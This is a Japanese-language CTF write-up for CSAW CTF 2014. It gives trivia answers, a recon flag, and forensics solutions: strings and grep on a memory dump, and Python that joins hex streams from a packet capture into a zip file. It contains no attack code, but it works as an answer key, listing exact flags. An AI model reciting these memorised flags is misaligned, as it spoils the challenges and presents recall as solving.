CSAW CTF 2014 writeup

trivia

Shameless plug

問題文: This is the name of the new USENIX workshop that featured papers on CTFs being used for education.
ググった。answer: 忘れた

pop pop

問題文: This x86 instruction is an alias for pop eip/rip
知ってた。answer: RET

geohot pls

問題文: This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.
知ってた。answer: livectf

We don't know either

問題文: On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.
csawのtopに書いてある。answer: 14

Twitter will you give me @kchung?

問題文: This is the Twitter handle of the student who runs CSAW CTF.
judgeのページに書いてある。answer: poopsec

recon

Julian Cohen

Figure out how to get Julian to go on a date with you.
HINT: Julian uses OkCupid
Written by HockeyInJune

OkCupidでHockeyInJuneのページを見ると、flagが表示された。
flag{flowers_and_wine_will_get_me}

forensics

dumpster diving-100

fileコマンド打つと、ELF 64-bitって出るけど動かない。strings firefox.mem | grep 'flag{'
flag{cd69b4957f06cd818d7bf3d61980e291}

whynotsftp-200

"FTP Data"を右クリックして、Copy -> Bytes (Hex Stream) in the packet details-window (not the packet bytes-window)で切り出していって、Pythonで結合した。

import binascii

zip_parts1='504b0304140000000800256a2d453849cf01962e0000aa32000008001c00666c61672e706e675554090003167c14542a7c145475780b000104e803000004e8030000edba65505c5bd4369820099a200182bb3b41823b8dbb6b706ddc3590e0c1dd9ae0348d7ba309eeeeee2e411b6b98dc99b7e6bb776a7eccfff94ead3a75eaa9b3f65efb39ebac5a7bd713a9aa0cc04423427bf5ea15a69cac94faab5788077f9f2d5010fede330d62625ebde272919312d7f47e7d9a13144fbc9bb1bfcc78f2310295d745d1a18d3783866fac8f2a5d754f5656d98a2f94bd61c0e3ad47ebcf1d89d394936123d38bfe2e461d4a8f7c34f995e21043306bc692915a538483f609be193bad23732dbb24ce0e952b2917f1281d5179b0cd9c4d88835588a55065a69f81b0efe361d3fa33e5e1e9c58f5b88abcfda59e07a49eefe55dbf9b24a27fc76d91e9f8080e749ec15d2bf4d9b37f87db9c3cd4f5294afaffe655f955f050b1ebdfe0f588e8080b2a2139cf493ea3f30853380f4d56bacff65c15a62af821f999c713491fe0dbf463a2b45a47885f0bfac1aedafb309b27248d47fe0afbf483dfe1f41befeeb0cf925a78afd1f18abb9e0dd7fa2fec5f4d73900ef332a53c8bfe157085e33ff89044b17f9af731502bdb8f47f60b18d58817f47f20a01f2d719a6b541538af21f186545eded7f88fc82f7d7b9032d1b094ffc3fa1ff25f1d5ff26f1ff9d449d726ea4e9a492b56ce1920a73df8ad65beaf9f56ae072df4d71e255dda7d32bf493852548a3c36a5b6011e3fb00b12fb20875d3d3fbf395b3f8f8958b66e07bc9a806824e6ed165875c13882dba7dd5528d479d30e2ada127c2b036215b6b912a050ac219c134c5184ac6dfd986c5be8c6e6d6d7165f78d33d299085cc6c0c3e3966badcadcde7a39717892436d4737edf808e5d93b6e7fb29e1fad710e0b2ccd2b3f1f3599bf3d5f3eb61d1c9901834d78c68ddb9a1d733c2ff26ff362f87ec404b9f6efd1aa827a4331acadadd96b8c74cad7db5cc450437ebde6cdb8776ae377bb6d8ff65df4d0715abe106cedf7c4a00827c8c8c91070dbe3db5f9b9eab30ff5eb9e60fbfbd20651690c811f5b8ce9ca0947c716e713df92dbc829fd6f3c50a24547b9e5a3487cf364eba4c9cbe3c3ea6dc19b097e3d50a5b3e897dec26873a2e37028907569ba36da724d3d8b2731cb34119b63599f9f34fef812b6de68f673515532320c1b705d6049036644c6d428cde643edad676c933bd1aa2771b8006a38bf82f315b816cc553b860a0e1944675ced5df851ccc1303e16131ddeec8ca978f4b552b160d0829b0dc80df84192381652b2391fb2f1d8d67754d4f672522fc8d2ea1efd1eb7e05d03e5d5ec46be0c9e92c19763b14a631276e0aeaf8e51b555968cc3ca76749bbc548645a9dbd3e7cc694deba77edae68bed185188f156d996abc89de2ce70f593faab7f3b18ece8f54843a6abf123d72cfd4b24a960c40a3e7eab5ea8f4b1f8eb7aeccdcac8c28643e23c2b0b5e2c13dcd615647fd75885e9e6f95684acfd793d82b4f8e372b365996a2eeb2867c3d730eb7d42a9afa633f187fdd6c1f622f1ea0f546927c5729320bcc94a72a3954a2832cf4229353f6401148d2c27c36530b2212b48ed0227de0cc25d0f85d82469c46a1b7e0a0540855db4c06b097cc0de7d31d3de04ad64a84895fe786dc0700df1c4574701352d48d33e9445c4581a5cd0625a0bcbfa0a925118d42252ea20a75e91cc18beae05ac2a68c603f6f1a0418545f800e15e8eae19366c85c4c0b05f648d4b8aff27cb5e529f3f151c593c5d8df8247b2d832f34adec5ca529d537d27632af4161a5258c6dd7480ca2954c4739f92ac22c2364731b89dd92d57f5eb0fe39ccdbabc4a738af8d28b5138f1e476882ee7cc057cbc7d8727429e74de7473ec2a0dee143114694b0e01ca916297b14dbf987d11653a8c7acb15bc4cb764e63df8d29becab65ba9d6f767a182a136cdcb5e2c7afed4f21e5ca15c235a4a4cdc011f1acc1'
zip_parts2='d1b93eba4132594507df8399ec9ab50133226df2ecfa72e12081e627662a6795a96212e5646285c2a5d10729db90d8b858f58d8e0996c86fe179360226653cfaea41043816162be5baca605935a24e77bbca84cbda37677a7a922eb500745a7be3d77a65e412174f51adb9c53905c3b44a9119bf91cf02c0fd2b39a03f2d9199103a1b824d5de9bb60e7ca2d863af61b9a140ba87efcf8d0976bbca1acc47a7422ab12574cc1d9d7619041dc5ecaa7d262662b35db5e12bf3d8f792f0932d043673a9b8f86edf66529654ed9c46eebb56b58a9693b8b962c74501ef97656bc66696b35489ef21afa090b700deea6587c04bbba55c81425ab48f5462bd5aa92efcc88a772ae3f5eaf9a308c79db3ef402626c8f5b36eeb66afaef51791d495bcd8f3fae93d4f4e03e9eb3a4d3854ef55a93b7d93741bb33052e76820770dd9f83181294e0173ab7b1c0b5012ee3f45cf8eccbe38549e0fe5a896264285cf0c5391fde45fae0726920facca9cdaab4b1337149972bd8bc175cc25aa2688166f2f82da8dd0d370bd8cef1e27995d23539b0593242320bf03a9dc537794c85f667fabaae67021828f10fad3560614e8bb5b6ed9eb6cff3552f4f8feb9142a69793a016aff9fde31cbf3eed3b435e48426663d7a8fff3cf8350a9bd1ad1966337c1268716f569811ccfed9bdc8017c13861350ec8c626fbd9fae26717d83b0040e8367402d7caf30d4de298e85dcab257907bf783421a5b5b806fed53b735b977b276f1368c1c7e1f0038c75f64cc6b32d3c76a52f6d1d84ad4a20d99a8be57a9ba9941ef4d84c5055437eddec1e0b0f5f540613fd2e53bcc2380a5514db1910f7c4d9109de61de7b0e5e823ffeb617d1f5df885f0c0e852dae2b106e989555bbe8cda40049e0dd58c0a25a96ad8ebf1f6f68ba2925ab5cf50b16bce487f8fa6388b3d4bafcb5c9cf2aa626d3ab58e1c7854ebfe79d4e7285c0edb112dfcd9e8204959519dd66bffeddb854a557e26b787789c23a9cfb377dae645ebcd49fb6d640b2192228f4f6959f0c041ab233328aa8c099ddd359be8cc041c294110e7061da9b07c9045d011d87faa31dfca00c999561c6e3ee30e7da25e36a9db4506d6912bb1839163364f439fed33c6fed87b63c6d8a058f4466fbae947d0a88c4a76f1f5d0864b0a8e5a075e99d99bbd9bb871175d44849e61989eda003bf3d22284d9526aa2d99f8ccaf140b1ffd786b4b0e07cdb5e4c283b045c2f8b0140c2f2f778e9b377f0a962a9b4d1ae4001593848586ca26041adaf236d8dddc6c95df34f293ebebbdb70576f9b744dad2900392ff87992fcfbfb2864839abe99ed1df69ef363f51657812cb7fb87f4e896f7ed2b03cb88964a5d87e676981006bbb1fe0d074f62feb44a206940005c33fcb9c290babe45e5b006148a4f8dcbbf44440b7b548392d83d85fab9e175711203f3e2285269a41541726b5ee8758296ee14df568a26bcc0f4ac37c347c186cbd88c252cb21f0c4e2b9110a042f7548836afec6987ce91b7540fd702af1a46ee5115b1dff6f99d712c8192a78530620fc1d63428c770892e3c46ae3c53bb15e5f0b7edbca325773b8ad968010efd4803a271a2ad40605626bc4a8254596b639176de94c0e86ea960763bec62292d36bc393ea2cc26d6960b15d3a085e69db4b61e3fb0cede308ca940b0dff0d26406852a4f5641421e7244b1a7dc03d22ec9d9e5c775d15a7e488d6b36b19bffece0472d6ac69e50820555755fd3aea52ef37518e0ad15544ae6e60d2512dd2596ab40983adfe5176ed8fd6707509195fb9e8c2957ccf822f9918f0c29cd40cacb11a96aceb16fbce42304f92678fdd47f7b29d371a22af757ecaf69b6dfb0c4e37625c24e3c32a0743fc5bc0a964292353e2f514b0a12f0c3fdb18513d313b09b3c30a11fac3e7a7e33736fb375acd08246517d8c81dad2d1f5bfe59259b5d9d24f05235c7a8eb7217276eebb43d9b42be22ed6ff2ab7f79052f79e596aed410fb510657d4321cecaa2912c4d00f1a7bcf'
zip_parts3='2b2056c4a86832a627f8697afa4452de6d143f779533a0c5e536ec5830adbe2832021dfd6fabb4b294d3377a75a7586dbb3eda67303d6a92cb3fdd51dafef2bcf2786e4fbef20056592779385998eb982f07095d4cc5053d1ded88368de78a06cd6ae9001f16ee94725b6fdc9ac21a1d395e2bab2819990db1dae8382e8bc314f0e870b9e4d4533df64a9045aa3893efce8c445221642f0f930b882aeca374fe0fec2a4f87abb78bf1b51a37354e473b0aa20f9390248d4e11a70f2d472dc24d81170a9d2ff72e55a13bec4aa2412f754f52794fd1d7be3db0e8c89df5dddcbb9e76053f481c09ff7d2ef98ab9804bff6a5c937d937035b37ac49eb1f7ddbb9a6ae0e3b049b45d7f5af25dff6071a3f54a6a6fed76d7c90ca4aaed49fe3e4de3bccd9ca4f9a885d871e9ea5eb0c3fd5157d4e47596c8cda54ad0edd071d2cbd3d8fdd592968e11ac8618e6ef787edab4b6a567f023e90db0d82555e1ea534aeef3490f845ea549707529703566dbef36f0f0b67d1bc4e3640a328f3e8169ec8ac0fd1e798060cf4ede2b3676200d9ba2b05729dfb0ea747e4aa1c5588b6a8fa59bcf0194818284a8968bc3569c9b565cae835f171745b3dbad622fd1173bee76b8e223970b61ebd62101b96f883db9b2689b17f53a170edc587196974d9c7078efa426286898b2835e8d65adce0be283bcf1960407adbd7cc56216010f96ab9eff8dc7824e3e8ffa240ab33cc528b9c3ba99096069fc9261708717d5492af9c9b0b1be2beb6b8714ea3434fb94fef8d544026b38b6d7eda501635aac002bf9aab01243260bbf124ed3224702b58a8283be4c929ef9662fd42e931cc3a7426958b92bdcb30b5c7b9a9d4aba038a8be1e765e9cfe66bf62fc6334231d10fb1b8053169b067a8a0370f0a6d423f9a648c4d9f5863cc72a5a8ea576f738e472d1bd3d5b1aedeb3d79711ee877667cc6eeab64c5d067e9f63d877a82a73b3d2e7cee0b3da7924b430d2b4a023143f8ca175cfbc4fe60f1d9e19970d3547de2fd2776f74c3bb9a8c97bcda61e3c0b91677e36656fe96b77d91500ff8844d23e8c8944f3f700e41069761bce6a5355be350a250c51cfdad5cb5f8ad8728aeb0953c2d8fd9732aeebd5a5d637aed281ec9861991ec76a2adca5babaebeed09285a10f73eff56e5c4f0df068845d5e385d1db3c3d6c448ad11d49cb41b6a2940144563be4c2cf225e39b09687cdfad1fda156298552aa07e5770b70d3d2b3bc76e04b652e72573e635c13a6400cea22d1b1f6e975856aa34093eaf825222807db8d898f26117b1beff72ecdaf29a1129c8b5abd359eda1af92a0d67cb852b0a981eae9e891415f2728f6fe547a0e6f3a8696f055edfc536f593145b24515e120bff9870195e8553adebdb659cc1b62c5cb78eb98b1fd5198be83bdf5802ed12a2634ee25b330a8da5ddf963f2093d97317604a9e49aee992cdea99f5bfdd292265a58dc67992ca3ca797dcee4b7f0edec1ae9f0d920be6b48ec1e692639cc0121d8ce860b960d64f01ef6994e663c46954b422d634e2db3f261ede7558bc7abb98d69ab59c2b582291be11a6ed72a264759a4951f5f63376791112efd43199b2af045ee782a1e332352fd00a572e18fbe8b9a10a77fca76be6e483d4bdde904461a33fcb5dfb671a5f0f9a3e0e44a48a73fcb7c58'
zip_parts4='4eebc96f000349ac5441024a0e2b44c1ff3601ce1770454bbf7895347eba7adf5bc21a3d619be7cc9da058a43ee8fd0354f22076801e27028b4a6280c14373b35dc7ab7f66e062ad097bfd16aef39961291416f4595a11753eeada31e7ab4126614c70164a19dbbd823a08e0e7b1f7e053b556faecede83d82d946dbae25dd9cb6361cdd5aa2a1cb940da630f129351123db3b19535cef5a0b9132f89f069da5d863c158619f2ff3cf00967089cde6b3670b2aba5890a8af93cdba39bb3e178c976cb9692f7058007422f6b90f89168753218745ca73ed8a80de20d95ca5ef6b103c7d11af7d7757a3ffddc94a27b775512b33490c2d4e64f3e854574102cfdbd8cf8cf530b63536b41ac0ae98b7deedcf7b5e37f8d8c01a71454ab0768aea11c8d2246a984fd831de4bc2d45237ac98db0257f70d26e6d6e61febb649c8800bb465ab846aafac197c2e4cf1a9683cfab096bb1217f02e5e2fe162c924c8a818ba1ed0edab071d1c42b6cb1c7a4e7226ada5c495f375d5055cf7806787e2cb1a876eb88d1282d8e749bf05f27507e62827b1fc4867e1c1177870bcac1b91a4680ab82c9245eb2b787666e9eeb098a96711ad9db0d589da4324ef2676a83694f875991901e22419d7cc321bb3abe1b3a5a9ffe04818f4f423054772e718d1b9e240c1e3ec4ac03b417a584153d18f9f19b4ae29c33b666141ede34e1199fdd9234f6ff0aa5469fcb7f15e7585de2255c73b98e87db04899f207f818d196155164a88091c127433b39ed14b0c50022fa6aaa4d070b28d6c7a499a03e8e705a0bc19d939277b987cadab4526fe49aec1bcc241a69faa0b824c3fd4e75be02a6b047f71d2a3a9b6803de5ed2bdb66587bc1e7bdfb0348b50c17aebc3757d18f4191848901340499df4033060d8acfa1947c54a5e0b5d37caec6b3dbdb0389d2d692ce2273b66c90925db3b3aacfab0f6319d682bfb11d25957ce2ce5dec5f6bd29767c9562d75e5737e5a95fc8b00b252f5136499d119e4dd4f14d4fea92c0deeb004ea3b0be59063a3f61b44762b6a950d003a18bceaee52e1d3341e9a39ad1cbe0f1f81fcc45aca221ec306e2d7d974f7a125a29055c3a2711ad320d6d2cb62161a37df8dfccc569ebcc3d50640447eda05691f3c8a80ed3b574fadcd6e31ce27b6275c6f4c29bf8b83b0e266630dce6abc8abcdc27e2686e4386ea2c66395fdb5c3f6124466e389c223ac663e857a8277bbd922082be0c95d13093997412091cfb4cd0ffb2dd0cf9abd57bd989b3b2e348f6b69162d3312c25592c7700917394cbda93a0d1518d5938d4c5b521e6e7306479a1c5d8e0c98bed84b3b35570a72a65b08101e2de4481b238a4ab36ce26cf1370327e805f643440d0a61d22dab874f5275c0c66319201510c895d76c01f52a33ce7fb40340320972ddd3eb5bc058ad9daed97734453bf5d34920d5893a64c62a8c605e5ada7f6a772816a014a5cb8a3ba162580497f27302b0e5d185b0c5ac55be7dd97795ee51be5922b02c6fb897fba08fb6fc3593f2108cbcd90051ef77455771eb3f9d92e1cf4d792d7809a5929ce49c34d80d09b75891b97be0ec65a88c246130b15e9cdfe8b29c36d5d6be08f9ac515c9ff96d9df90d9a4cc56eb941ea6bdb658b15edc8d8423a05b2a6d78af5bbed72a2943a90016b29efb73f77b4c8da2151fcfd0946cc06ed4555f78c61ef57ee816f043bdf62a10b27b09e9ef4acad1c511de203a5bff536ccb1730d103c352a26baddade16ab193bf07a86fb1a20d8b7d13eda7b463b3a9a46ac317480f0e1312b5523739b861a279b1c1d6516d8a7897784508e106f0ad82094e61940f8c169da518a4b892b3e6ec5fe70fa9e6b8f8fd4d3e6f4e8a393c44093e4de00ea5c313bb2baa2effd672062779f94cb19f446c891b71ad6bc2094c47885767a2ef45dface3a11fe9cde5a78e3a125c4e934d592a211c11ddc4408c8a47453339c9d3586d15fcf7278713b2cfc67601396d7f1b8a5d042873ca756e18372da61e41d118b6623a57'
zip_parts5='0506f5e20b1a84246d5169629fe939ed4dcd108ac5b189c54647b3ec5a14ee37050593436ac7e9d529f054e970c1277d439644ec8071f10f746bf938c7f954e0b2ee011b7e7b8c09dde2330cc266af03e6ceb14da22a9025ce3aa14acd3de5d2221403e5e24922c438558812dd72d18a07d0de73f69586c0f5f88bd8cc316a3c9c46c1af1cf1d5a45d3f27bd28c5bba177025b67fd8a9eea47e8da25ae3ce44cbc687bab148f636ad32e385d12df94d3f775b40ca828a19b9c5f556fbad47cfb7f8128a435320c6b7a027b0de96809c3d28465b6b35771450e512556103b289810770b1a19c17608bf6d4bbbcf350ffe0ca9f79ab1531e56c5d12c0e135ab0a5e81d17aea3fdac7487510f13baeb28a698da0e3bb7c651d22c493e60aca4f0b1b538a4d3b57f4d64982820d6d9b7d4274e492f37a4f080ff81d3271597511e4781ddbecb57f80e686a434123459dc0073cd2f31ad63c77e7ac170944186f8603abbbf3b527c7317de6a140b87290fbe18fbdcc596ea3f4de7e8aa84d3f01336bc388fcc111a98635bb26830a4f885e2e83050df68f84d9e3c3ef8fbb51b7aa1d12489742e2756f1e02a26bb5fd7df55c831d58ebeb6931160530833530a96f6ba8c0368b634c7acd32bee114ccf5b268989fb5fa4a324e4e66d4e9893c69a32d42b3bdc52f0769b42d42c697f824e9f6353faba5aebeba9e395e0d6183c7ec55b0a37e24e265f21118e857c64f0a181b748cadee1715cefb0940a70ad4d222f4f577afeed02fd2324f2b96a27d3f8b34104d65c7c3ad68ab852e5c025087aab75b2af77371d51fefba2ba29caf9ef1ea317a891299219e46c5687c7c3170c47932622c35083d264a5971ab79e8b3f4b93bb976117e097edcca676267e6d3838a9d51d0fea5726e5af59c2acc7620ccac8c344f86b938eb92a99fd494e6408ca6b51ac5098c9a910674e3fecb676ba275a2c3ec3b01b18f664e35350d5c8987fe60f5b10c734289b7fd265d5f1a565fbe32c32d72848b2dea18170695803fe6b124510fb36a5cd7bdec2cd28dabae1d3b55cbd6a834d8c3d05750e3d30df9968dafde2db4f4709dca1bce99d60f1a2c6dbe5b047f5836194e42b6fdd86c33c7f809ea1a4e2fb407e41f9c80e1f293d520a44cb165a1ab2ed9638f322a3df225e19574fce94ca7f008bed6b2c5a9609d9d9065c9604e1e4a617a4ca1975f74efaa454a0031275744e04e95fab6ff5cdd26b5bf2c04c05c3a4d4acfa241bf729b0da66ce30b86feaf34c50686ff93a8b29b3a4c89fb56dc92e654759ad831a2539c1bc6afcd5a7be214a02127517e510741a30ac922e293f3c3c4016fce04b0436320f29d0b15d20ec3a3b01fc7f4ce7c4318e7ff93a93f4dc165cf4972d4293ea5612b6e59cf5ede80d259a6bf1b880ab68f353a4e372873360b4ca179aa2be3dfdc9900a6be330830ed8af46a119da6eba55a4c4a677a3c486e064e650e7664809f70d1f14df7e06f5a72f38cbc74b27516cdc1dd217b7d214e3d5768be4254f50db970500677fb966e878cc8cea31d8fabe99f40be9f6f5d423ac5ecbc45b71a7fbcbfd0145d3bcf897ea175a591f5e1a514b7a6bd216e8659d209b243ffc8cebd607fd8ce421fcde70fb36da5ac1f939eca07b74d2b04dfa03e582878297638664024673eadec6d7316dd6096494dea949ba7cfb10bbfeb91f5aea7a803a86b1386d8cb171ebd9b450a9956fd7a0e95230fafddfcf868a76318d24aeec39b8a52cabc5752fdae89fe3e10d6f32ad8afc983d1c6d01d9b926efa544964debea835980db0da5ede26aac6169f515cfd6231a5c96341b037257916ab5a3aebaa0d954990e1e9a395cbb6642dc29e184b405bb1f7113444ac597e9147f0c29ff83319e037206d6e5229cf72faf9f77cef22faa9af88d21eb3b3cb49d40795145fe6a311ad915fab57c42a8e69ccf61c52637b9f6cc12bacb502a3533ad7868a0da4f90145e394a5fed9ad4510e7198f995422fb00ed2fd3bde66fc597c69bf2dfb417de585be97821d4'
zip_parts6='c5d924b68f4d66e5fe140d2afaf0dd915b03ffeda4ad15359090ba29f04b68698920db290e101bcabd7261f2fbcd4fc018983eb295966350cd3285b2b4b8b01215a928efebda3a1d2ac14a078d9210ed45817319458b5920da8340ec78476c0a298b3379874b0dff627d2e4f6af056e3026edbfb8b36dec5e19613978bdacb6729a85803bcc492f4a33de0144175961200283d364ead1be219d6736b1ec2f0efb274f1043105aeb95672cceaee82ef35c64f5a608c66529f3302ee3ad8cf49975b26177c36bb9efc5b03f646b24a8c038aeebeadd4f51f367d1f713d1fbf70d778594bb8a9e3784a8f3fc8be2f3234e45b0f7a5a9eeb9cae9c1038d578813991b7bc6053ef4f879fb3e43276dcde198530c04699796357af36b64fd69f16333c5ba727eb1b323d7b53e64f165a32f0fd6feec9ff8c2e8bfa21aac072745be7c85fd1ff4e751205922cf75e9106ede89d6e0ade15e74a5dbcdd0b4feaf374b86471ddf995d9bd433be85ceb7c62e0d59a92df070a9c67b526ef1f63af5689a880e9fcbc329e3691c984387db2dd349db252982c7afa23b8072b5b503cfbe6c78aa7ee0b7afbd2f210a71306e28d2515f5bf9e417cca32bc36e773581b2670d4b7eb55e7f7df6f0ce2199bee377908cd456b6cbb4ed60afb9999d84287951cb6f21b4ee3b84e3e89a610f0bb755fb7ea102200cda56caef43ebaffa61013628b251f68bfaeeda5f4205cd6ec329afbc02e48bd7399765790553f3828f7b662ceee1cb491a1a202cacc6e919f6e95058ab7bac2eede85ab7778b67aebd50cb634ee1087330930fcfd84c595948f124ea33b07285afaace6295901f78340136e76e0a4c559dee3f3684c56659bbbdcb290a18385e5dc7eaa9703b9f3bbdc6f4861f87b1111a79c01516b97fdb567fad34ec3e8d467ee9c9f5f9c12f10611f66eb1bda2b9e618133bb4afaa93610de26f1cba62dd30fd1215cb6a6de13b36cdaae0d96be8d073d01686e68362cfbe6c5c9e55ffe5264dd5e2ed6919c70cd9f8a236ed7186ca0b8e797bf88a8d38a55218c943bce4720880956b8caf34a39c9b90138dc0b22a1c0d9f302b95e775797413d6f883be743f962e6de1c140be650ce90bb58c7b91ceb8bae404ee46b30eb159fed090d8d7c7002ad3d2d3b5e415203686d73a86ac242c493e6e6a53f1b095508631b4d18de7e1282a46bd3022f50f5feb2a83ac20d6664bdf8d296a434c345bc6bcf535a5c57b4cfeef875b960d74ccd60348897df93f5f2c10be958e2896e7e6465327db34646bc5b691118c0906fcee7bffa1c84784823b67b6c5677367fccea80ddf40e8c1c34b52003d763da2e37e780feb6e1af6d2847bddb1247ef03448fd98cba1721e0f69f283dfe53ee93536e5c147459f424ab4681784f3f9bfe0de2f91ae49e68a8cfb8fa6aac4c69d9f1d5bc77e25dabf43740d77bbf393cea5b75a340e381bf7d953dd12fd532fec62fa50849825a1821d5e281f73bed6d40f9aeeb0cef1796f94ee50f3960df1b972b90b1ddf1878572ab97a721ae44a54bc3535d2c36195a97e3d7371946c8229783ef6a736c120d26d5f25735c9bcaebcc78dccd87c673ad2577fff3f3032168ad1aaeb197e36dea3a95cbccc66da7d05d66182f29412a1c8e1bbffa5a2bec6b666219ddaf57488594e2c77c3e56471fc6899e'
zip_parts7='573c41ef0438c574846e48081de713e320648ed67410a02171e33a4b962cc7ab25e2c5e96dd34036636d7b2e0df51ab15938fdb4aaa9e4d93c235bac6afe6cad16f45e03907b40482ef77228dc8a27043e1e243e3a8f403a23c874fa83ee491330813b18ea762eb0bbd80c33753d37683e8500b25d891ed995c81f8f58c357af5000f3714139d9129f4bbf5c3daef3e69ed0bc0bf0918d6c22d9f884831eba3d2d29df0ab77f9f81036a7f21ccc55e3ca97112f5cd26f03fb06fbaac8fffec77096d17845d0dfd0271d79db789b48d9fe32eb43f8e4e563ee63ead8738bf64f1bd741c6e4aae3f8a8aa08b58661cef6adbc87e429e8cf37facfa2eac9c15f4625457b61e5827f9cafd81b564eb165ec137e297623fb0c9dcb87683e776d54018e4857f55b707ee7e0c29a329367e56ffbf695c402acc138777852a3cff39868eb55b8e893ffe69d07960ff6c31f6ba658bfe9c0f6084d32b4aa6fedad6a537c6fe8af425d284aa70ffaa759a84679356d3e7efcfeee06be74c9a1cf59cf45a73213e835b2b56b5402b5e2b765e98b2e61c3df7c3ade19852d136ec1bcad5bdfb381650c4ba4639252f4ef9a9ed9c4b7c4ebb5e54dd21d18bc163fdfb162ee6bd3dcaacc4d09990681289a2a410f901ec67a37eaa259f6f6b6fe71c72625b71b2bb42d6d040f190ae15c02655cbacc7ed71b991ed3b09ac4ebb63d8e0c775f64dfe46ac2c78133d93b1508bebadefeabc0cc7304be329b9263d3b731dd156639f84ca3ba3871c3c17b034da48bd62ca24c4397fe18071eb2e8dcdb7fbc3077c05dab80f0d0e4a6bc627f9875b5c8cc78fe5ee7a38b9cca3062217c71cd28aa8c2bfb160f8f51f752d510aff69f58d64826d9a9b6ddc270f5183d0dfeadd851b8958ec6cf683e6bf1d47d9a7864a3fb1d14d4f0f9f0f835982c462a2edb75229c81b5c321a7b684a6f6a5d9366d134d782d8caec079848f394999b04e848ae8c76bfbbd208c460d409d55378de8daae969156b71e5cee995ac2d118e4eaa041fe5b22794cfe7f0bd35bea90e8353a1c2bf014ecfc69f7f5337569724288d1f6e67a5ede175f9be359b9f5b301f9155c6dbcd6ddb2cd2dfe5d6f9469b5f1bf7ed7244c894c93cbaef87d00e2257662e5659fc8fefd9269faa15f92cf4c3340c716da900a27abb1becdad512f8d13394d596dab4b129a0dfb5755274571cdfe7be4c254e2f1c18db49fa1894da554870528ee021350c111a598f1a32cd81f1c15c49232ee720bda4f42f6aae957622525f94159475636bcfd912b24c95ae3c44ad30351ca2319be847642a6c19c3c5b2216a35e5c12c269dd278c281ead49b8b21086518af7968b594befe4695e8e6d5e3624ec53ecedb206ab4859e7a91325c5c5327e1dbe828b20b065458dbe92a6d61dc7b8c7ec715dbe60a6d2d79aac8295afbe728914935e065109f55cb8555e30c85561faac37951dac9449f5acb324df34e73f113fb3e480d75e590c9a3b23bfc543f580691c52ae1cdd9c85b3dfb361b29becb17f37ba8720c0caa4c4970c3dc29213565d9629259cc4a4f323e73b2ddba6ac6637ab7bede7fabab56f923e0e3ec44ff036f16bef24e916f6d0efaa95dd47ad7770d8ff0609de1f9b18f1ab78a058cc444b91003b61616f37c06610fcec1f1b2d681dd4671fd95dae925d2ba8f3cd68f42f1099dd32cd3a1fca155288b2206a48c333b5e38bbd99c4bb5dc734e4f097354a1564b085e390665ba753f0f80f5f6d2c7ddce83660be84ac389ce27d46ebd65cb51f1bddc4e9c4669b4349002fd4efd125ad7d898221ba30a13dfe1b278e3f7235326e3f81fa42c39c62ada180fcdf07882bf72d7737b687b75b9746054bac83cbf4840cc4e3f92f8f915449490ffdd5055c06a44e6b4f73d6f710290cea2a3ed88755490c983e0d26ae2de7ad04134e43793414cb60347a479f57e176a9bf804702dfe5686a99f58cd061758dc64ed4cccd69ee58dc1762d95e8c723e687126e8ec120bb4aad61da8acd70328ee69cfa4415cfba'
zip_parts8='6638c1f9bbfb094bbb424a82d9ef445bfb063db6027e051005ee04b654fb8aa28b1799a274dcced3511143fa381c64e96ba5a4b2ee08c1610d4a057377ad088ba814ed7e1aa1f932829e73c950b4b14f5a235590db83bea97bbb029ef98cacace37a8318f5b15ad578d0f0e6b25c97aae0f0c7f19ddac51f7126021aa54b91dc0a5dc9c4f8c485c33c57507f88da68118b0bbda0ed12ef672752c433fdf801cda396ecd03109eb4aad9c816592126b73513f5675fb626ee773d0673586f905890245c9626b88f1205d8ff676bd721dcfe54468683eea6dde16ddd5d19453a55e55f57bec05bbfa6d14e1809095948fc3f8cca3b7534032735dc6c407c8fe9784ec1d6203bb43548f309b8d854e480586e6eb50a5c868ad59248c603b1e071db7c6876e11ab8fe3f8f447e565352dbcf356b3236b120ddec1c40c4ade0f9c1395e99e0c81c5958b4a07c7664351103b434fa595dbbbe87c84cbbf75050f0d23ff85a483f2ed66c466832be4cbadf97359763b89ad6a2c696bfb0cd709610a368c8de98161bd3904907fe1cd82afd25360aaa0434e5770a64c7da670bd4f148a41aac383743c292e9402b9d9cb9956f90da84bd455fd53e4131a61112a793b0af595c3c869c6bf942a5ce090b46b15338d03ff70db188b4a2eff96d9972199c7f1a8b7c106ee718fc7cc4f725b66df77b5ffd18e7dff83e8c1f79b814b8939a55c7cbfbb43324b52acf7613c7f46e8b9392a1c4fd72c238325e33d854da09e80f19726c4a7af58cdcc7c49486735f2754cc681cd648d5242c78dd5c577a8ea062e8bb10752c3d09631ad53d30e4559271306b506e17d35e5717767bedd2664c6328caec5c5e2c4629a887f28ad89e271d02acc71adc219781658b9d58008c33f1aea38602ebd2174b40e8bffdc0d141be2d693dee62aba57bc8fcb0ff9f397c41434cdf52026682af2064ac36a3460f6ca64b73c64098fec0d857353fe21a48a333c00487dd632e329addb6e3017640f564f1a83ff4159f15b6a5cecb9cdbc30ef16304b9ea320072ab5aa589fa17163bae4b82d0a429f75d2f5297894d609e5047ae235d369814cdd1d6f1dd17d6de6faa464f00ba25bbe9bd91ebf3d016328b450f8bda18a32ff34aa7149c8a5885f217a1bb2e6578807869897a85df21830659737f7e44447dfe407642bcf3027cef4231c9ee67e6cd68991fb6326deb9ccfb496e830c5c2d58aebc0ad0241c4b19ed7f870f488cb12ada8836d0b9d11d32c79ac13294bd6ff188119045af4cfc7874ef242ecf84180ca40b77922f2e3796d7c2e5d8619cafcebe0aa4b2e3c6da86da8cb3f4778ac04b3b981b956f2c9afec432b590fdbc59d9f7881924ae7581dad1082e80ff2c1248b0d30fb797ae0c8ba797c79b62c14b12c3ca57b0e5eb13e7085dac73b562099a0c698d24a98d2d7c70984d7b560d6756dc2e30af58e5f6f95421bd8a9a6446615b87feed82e26d1ac7db858142e2a975ce060d5fa32f499636f96dcdf2b4864b48cf95ae6d512de39a74c0dca0b12c97d4a7141190868a3b11b235e9825b843fb4133266589058a3d4b77161c39d01fecc72686e237dfedb1b2c82338637186fc2f8598b3e804ab6cf54bd596dee29a812a4b2488e72681756202722d9a4317e95c92cd4a4e648a7d74357f6f66cd524206414bac5a41a9527d577b136c89d5478b42bc1d5c73ea1a9c9471a45f309b9803351c271d033806a97bb2a62b5b216aa387623c52f2c3ef9ac3f319122fe59709da496d1855f424209f7004dabcab4446fa8986a4a60b9c2a6c6a271c98f8d69c172fdfa1cd060c409